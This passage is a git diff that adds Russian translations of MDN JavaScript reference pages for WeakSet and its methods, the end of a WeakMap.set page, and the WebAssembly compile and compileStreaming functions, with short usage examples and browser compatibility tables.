+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>36</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>11</td>
+   <td>23</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Firefox-specific_notes">Firefox-specific notes</h2>
+
+<ul>
+ <li>Prior to Firefox 33 {{geckoRelease("33")}}, <code>WeakMap.prototype.set</code> returned <code>undefined</code> and was not chainable. This has been fixed ({{bug(1031632)}}). The behavior can be found in Chrome/v8 as well (<a href="https://code.google.com/p/v8/issues/detail?id=3410">issue</a>).</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakMap.prototype.get()")}}</li>
+ <li>{{jsxref("WeakMap.prototype.has()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/weakset/add/index.html b/files/ru/web/javascript/reference/global_objects/weakset/add/index.html
new file mode 100644
index 0000000000..3534fb4d59
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/weakset/add/index.html
@@ -0,0 +1,77 @@
+---
+title: WeakSet.prototype.add()
+slug: Web/JavaScript/Reference/Global_Objects/WeakSet/add
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Prototype
+  - WeakSet
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet/add
+---
+<div>{{JSRef("Global_Objects", "WeakSet")}}</div>
+
+<p>Метод <code><strong>add()</strong></code> добавляет новый объект в конец объекта WeakSet.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>ws</em>.add(value);</code>
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt>value</dt>
+ <dd>Обязателен. Объект, добавляемый в WeakSet.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:Using_the_add_method" name="Example:Using_the_add_method">Использование метода add</h3>
+
+<pre class="brush: js">var ws = new WeakSet();
+
+ws.add(window); // добавляет объект window в WeakSet
+
+ws.has(window); // true
+
+// Weakset принимает в качестве параметров только объекты
+ws.add(1);
+// результат в Chrome: "TypeError: Invalid value used in weak set"
+// результат в Firefox: "TypeError: 1 is not a non-null object" </pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-weakset.prototype.add', 'WeakSet.prototype.add')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakset.prototype.add', 'WeakSet.prototype.add')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.builtins.WeakSet.add")}}</p>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("WeakSet")}}</li>
+ <li>{{jsxref("WeakSet.prototype.delete()")}}</li>
+ <li>{{jsxref("WeakSet.prototype.has()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/weakset/delete/index.html b/files/ru/web/javascript/reference/global_objects/weakset/delete/index.html
new file mode 100644
index 0000000000..2ebed17dde
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/weakset/delete/index.html
@@ -0,0 +1,123 @@
+---
+title: WeakSet.prototype.delete()
+slug: Web/JavaScript/Reference/Global_Objects/WeakSet/delete
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Prototype
+  - WeakSet
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet/delete
+---
+<div>{{JSRef("Global_Objects", "WeakSet")}}</div>
+
+<p>Метод <code><strong>delete()</strong></code> удаляет указанный элемент из объекта <code>WeakSet</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>ws</em>.delete(value);</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt>value</dt>
+ <dd>Обязателен. Объект, удаляемый из  WeakSet.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Если объект был успешно удалён, возвращается true, иначе false.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:Testing_size_of_all_array_elements" name="Example:Testing_size_of_all_array_elements">Использование метода <code>delete</code> </h3>
+
+<pre class="brush: js">var ws = new WeakSet();
+var obj = {};
+
+ws.add(window);
+
+ws.delete(obj);    // Вернёт false. Удаляемый объект не найден в WeakSet.
+ws.delete(window); // Вернёт true.  Объект успешно удалён.
+
+ws.has(window);    // Вернёт false. Объект window был удалён из WeakSet.
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-weakset.prototype.delete', 'WeakSet.prototype.delete')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakset.prototype.delete', 'WeakSet.prototype.delete')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>36</td>
+   <td>{{CompatGeckoDesktop(34)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>23</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile(34) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("WeakSet")}}</li>
+ <li>{{jsxref("WeakSet.prototype.clear()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/weakset/has/index.html b/files/ru/web/javascript/reference/global_objects/weakset/has/index.html
new file mode 100644
index 0000000000..abd00581e2
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/weakset/has/index.html
@@ -0,0 +1,124 @@
+---
+title: WeakSet.prototype.has()
+slug: Web/JavaScript/Reference/Global_Objects/WeakSet/has
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Prototype
+  - WeakSet
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet/has
+---
+<div>{{JSRef("Global_Objects", "WeakSet")}}</div>
+
+<p>Метод <code><strong>has()</strong></code> определяет, содержит ли WeakSet определённый элемент, возвращая в зависимости от этого true или false. </p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>ws</em>.has(value);</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt>value</dt>
+ <dd>Обязателен. Искомый объект.</dd>
+</dl>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<dl>
+ <dt>Boolean</dt>
+ <dd>Если объект был найден в WeakSet вернёт true, иначе false.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:Using_the_has_method" name="Example:Using_the_has_method">Использование метода <code>has</code> </h3>
+
+<pre class="brush: js">var ws = new WeakSet();
+var obj = {};
+ws.add(window);
+
+mySet.has(window);  // вернёт true
+mySet.has(obj);     // вернёт false
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-weakset.prototype.has', 'WeakSet.prototype.has')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakset.prototype.has', 'WeakSet.prototype.has')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>36</td>
+   <td>{{CompatGeckoDesktop(34)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>23</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile(34) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("WeakSet")}}</li>
+ <li>{{jsxref("WeakSet.prototype.add()")}}</li>
+ <li>{{jsxref("WeakSet.prototype.delete()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/weakset/index.html b/files/ru/web/javascript/reference/global_objects/weakset/index.html
new file mode 100644
index 0000000000..b4660283a8
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/weakset/index.html
@@ -0,0 +1,109 @@
+---
+title: WeakSet
+slug: Web/JavaScript/Reference/Global_Objects/WeakSet
+tags:
+  - ECMAScript6
+  - JavaScript
+  - WeakSet
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet
+---
+<div>{{JSRef()}}</div>
+
+<p>Объект <strong><code>WeakSet</code></strong> - коллекция, элементами которой могут быть только <em>объекты. </em>Ссылки на эти объекты в WeakSet являются слабыми. Каждый объект может быть добавлен в WeakSet только один раз.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"> new WeakSet([iterable]);</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt>iterable</dt>
+ <dd>При передаче <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/for...of">итерируемого объекта</a>, все его элементы будут добавлены в новый WeakSet. <code>Null</code> обрабатывается как <code>undefined</code>.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Объекты <code>WeakSet </code>представляют собой коллекции объектов. Каждый объект в WeakSet встречается только один раз, что обеспечивает его уникальность в рамках коллекции WeakSet.</p>
+
+<p>Главным отличия от объекта {{jsxref("Set")}}:</p>
+
+<ul>
+ <li>WeakSet <strong>содержит только объекты</strong>, тогда как Set - значения любого типа.</li>
+ <li>Ссылки на объекты в WeakSet являются слабыми: если на объект, хранимый в WeakSet нет ни одной внешней ссылки, то сборщик мусора удалит этот объект. Также это означает, что WeakSet <strong>не итерируем, </strong>так как нет возможности получить список текущих хранимых в WeakSet объектов.  </li>
+</ul>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt><code>WeakSet.length</code></dt>
+ <dd>Значение свойства <code>length</code> всегда равно 0.</dd>
+ <dt>{{jsxref("WeakSet.prototype")}}</dt>
+ <dd>Представляет прототип конструктора Weak<code>Set</code>. Позволяет добавлять свойства  всем объектам типа <code>WeakSet</code>.</dd>
+</dl>
+
+<h2 id="Экземпляры_WeakSet"><code>Экземпляры WeakSet</code> </h2>
+
+<p>Все экземпляры класса <code>WeakSet</code> унаследованы от {{jsxref("WeakSet.prototype")}}.</p>
+
+<h3 id="Properties_2" name="Properties_2">Свойства</h3>
+
+<p>{{page('ru/docs/Web/JavaScript/Reference/Global_Objects/WeakSet/prototype','Properties')}}</p>
+
+<h3 id="Methods" name="Methods">Методы</h3>
+
+<p>{{page('ru/docs/Web/JavaScript/Reference/Global_Objects/WeakSet/prototype','Methods')}}</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:Using_the_WeakSet_object" name="Example:Using_the_WeakSet_object">Использование объекта <code>WeakSet</code> </h3>
+
+<pre class="brush: js">var ws = new WeakSet();
+var obj = {};
+var foo = {};
+
+ws.add(window);
+ws.add(obj);
+
+ws.has(window); // true
+ws.has(foo);    // false, foo не добавлен в WeakSet
+
+ws.delete(window); // удаляет window из WeakSet
+ws.has(window);    // false, window был удалён
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-weakset-objects', 'WeakSet')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakset-objects', 'WeakSet')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.builtins.WeakSet")}}</p>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/weakset/prototype/index.html b/files/ru/web/javascript/reference/global_objects/weakset/prototype/index.html
new file mode 100644
index 0000000000..d7ae6c0270
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/weakset/prototype/index.html
@@ -0,0 +1,141 @@
+---
+title: WeakSet.prototype
+slug: Web/JavaScript/Reference/Global_Objects/WeakSet/prototype
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Property
+  - WeakSet
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet
+---
+<div>{{JSRef("Global_Objects", "WeakSet")}}</div>
+
+<p>Свойство <code><strong>WeakSet</strong></code><strong><code>.prototype</code></strong> представляет прототип для конструктора {{jsxref("WeakSet")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Экземпляры {{jsxref("WeakSet")}} наследуются от {{jsxref("WeakSet.prototype")}}. Вы можете изменять прототип конструктора объекта для применения изменений ко всем экземплярам класса <code>WeakSet.</code></p>
+
+<p><code>WeakSet.prototype</code> сам по себе является обычным объектом:</p>
+
+<pre class="brush: js">Object.prototype.toString.call(WeakSet.prototype); // "[object Object]"</pre>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt><code>WeakSet.prototype.constructor</code></dt>
+ <dd>Возвращает функцию, создающую экземпляр прототипа. По умолчанию, это функция {{jsxref("WeakSet")}}.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("WeakSet.add", "WeakSet.prototype.add(value)")}}</dt>
+ <dd>Добавляет объект value в WeakSet. </dd>
+ <dt>{{jsxref("WeakSet.delete", "WeakSet.prototype.delete(value)")}}</dt>
+ <dd>Удаляет из WeakSet элемент value. После удаления вызов <code>WeakSet.prototype.has(value) возвращает false.</code> </dd>
+ <dt>{{jsxref("WeakSet.has", "WeakSet.prototype.has(value)")}}</dt>
+ <dd>Определяет, содержит WeakSet объект value или нет, возвращая, соответственно, true или false. </dd>
+ <dt><s class="obsoleteElement">{{jsxref("WeakSet.prototype.clear()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Удаляет все элементы из объекта WeakSet.</s></dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-weakset.prototype', 'WeakSet.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakset.prototype', 'WeakSet.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>36</td>
+   <td>{{ CompatGeckoDesktop(34) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>23</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Ordinary object</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("40")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome for Android</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile(34) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Ordinary object</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("40")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype")}}</li>
+ <li>{{jsxref("WeakMap.prototype")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html
new file mode 100644
index 0000000000..ba600573a9
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html
@@ -0,0 +1,83 @@
+---
+title: WebAssembly.compile()
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/compile
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/compile
+---
+<div>{{JSRef}}</div>
+
+<p>Функция <strong><code>WebAssembly.compile()</code></strong> компилирует {{jsxref("WebAssembly.Module")}} из двоичного кода WebAssembly. Эта функция полезна, если необходимо компилировать модуль до того, как его можно создать (в противном случае следует использовать функцию {{jsxref("WebAssembly.instantiate()")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Promise&lt;WebAssembly.Module&gt; WebAssembly.compile(bufferSource);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>bufferSource</em></dt>
+ <dd>Типированный массив <a href="/en-US/docs/Web/JavaScript/Typed_arrays">typed array</a> или <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">ArrayBuffer</a>, содержащий двоичный код модуля <code>.wasm</code>, который вы хотите скомпилировать.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Обещание, (<code>Promise</code>), которое разрешает объект {{jsxref("WebAssembly.Module")}}, представляющий скомпилированный модуль.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<ul>
+ <li>Если <code>bufferSource</code> не является <a href="/en-US/docs/Web/JavaScript/Typed_arrays">typed array</a>, генерируется {{jsxref("TypeError")}}.</li>
+ <li>Если компиляция не удалась, обещание отклоняется с помощью {{jsxref("WebAssembly.CompileError")}}.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В следующем примере выполняется компиляция загруженного <code>simple.wasm</code> байт-кода с использованием функции <code>compile()</code>, а затем отправляется его <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">worker</a>-работнику, использующему <a href="/en-US/docs/Web/API/Worker/postMessage">postMessage()</a>.</p>
+
+<pre class="brush: js">var worker = new Worker("wasm_worker.js");
+
+fetch('simple.wasm').then(response =&gt;
+  response.arrayBuffer()
+).then(bytes =&gt;
+  WebAssembly.compile(bytes)
+).then(mod =&gt;
+  worker.postMessage(mod)
+);</pre>
+
+<div class="note">
+<p><strong>Заметка:</strong> Вероятно, вы захотите использовать {{jsxref("WebAssembly.compileStreaming()")}} в большинстве случаев, поскольку он более эффективен, чем <code>compile()</code>.</p>
+</div>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коммент</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblycompile', 'compile()')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Первоначальное определение проекта.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузером</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.compile")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAssembly">WebAssembly</a> обзорная страница</li>
+ <li><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly концепции</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Использование WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html
new file mode 100644
index 0000000000..106519cdf2
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html
@@ -0,0 +1,79 @@
+---
+title: WebAssembly.compileStreaming()
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/compileStreaming
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/compileStreaming
+---
+<div>{{JSRef}}</div>
+
+<p>Функция <strong><code>WebAssembly.compileStreaming()</code></strong> компилирует {{jsxref("WebAssembly.Module")}} непосредственно из потокового исходника. Эта функция полезна, если необходимо скомпилировать модуль до того, как его можно создать (в противном случае следует использовать функцию {{jsxref("WebAssembly.instantiateStreaming()")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Promise&lt;WebAssembly.Module&gt; WebAssembly.compileStreaming(<em>source</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>source</em></dt>
+ <dd>Обещание, или {{domxref("Response")}},  которое будет выполнено с одним, представляющим основной источник модулем <code>.wasm</code>, который вы хотите передать и скомпилировать.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Обещание, ( <code>Promise</code>), которое разрешает объект {{jsxref("WebAssembly.Module")}}, представляющий скомпилированный модуль.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<ul>
+ <li>Если <code>bufferSource</code> не является <a href="/en-US/docs/Web/JavaScript/Typed_arrays">typed array</a>, генерируется {{jsxref("TypeError")}}.</li>
+ <li>Если компиляция не удалась, обещание отклоняется с помощью {{jsxref("WebAssembly.CompileError")}}.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Следующий пример (см. Нашу демонстрацию <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/compile-streaming.html">compile-streaming.html</a> на GitHub и <a href="https://mdn.github.io/webassembly-examples/js-api-examples/compile-streaming.html">view it live</a>) напрямую передает модуль .wasm из исходника, затем компилирует его в объект {{jsxref("WebAssembly.Module")}}.<br>
+ Поскольку функция <code>compileStreaming()</code> принимает обещание для объекта {{domxref("Response")}}, вы можете напрямую передать ему вызов {{domxref("WindowOrWorkerGlobalScope.fetch()")}}, и он передаст ответ в выполняемую функцию.</p>
+
+<pre class="brush: js">var importObject = { imports: { imported_func: arg =&gt; console.log(arg) } };
+
+WebAssembly.compileStreaming(fetch('simple.wasm'))
+.then(module =&gt; WebAssembly.instantiate(module, importObject))
+.then(instance =&gt; instance.exports.exported_func());</pre>
+
+<p>Затем создается полученный экземпляр модуля с помощью {{jsxref("WebAssembly.instantiate()")}} и вызывается экспортированная функция.</p>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коммент</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly Embedding', '#webassemblycompilestreaming', 'compileStreaming()')}}</td>
+   <td>{{Spec2('WebAssembly Embedding')}}</td>
+   <td>Первоначальное определение <br>
+    проекта.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузером</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.compileStreaming")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAssembly">WebAssembly</a> обзорная страница</li>
+ <li><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly концепции</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Использование WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/index.html
new file mode 100644
index 0000000000..daff5d4ee7
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/webassembly/index.html
@@ -0,0 +1,161 @@
+---
+title: WebAssembly
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly
+---
+<div>{{JSRef}}{{SeeCompatTable}}</div>
+
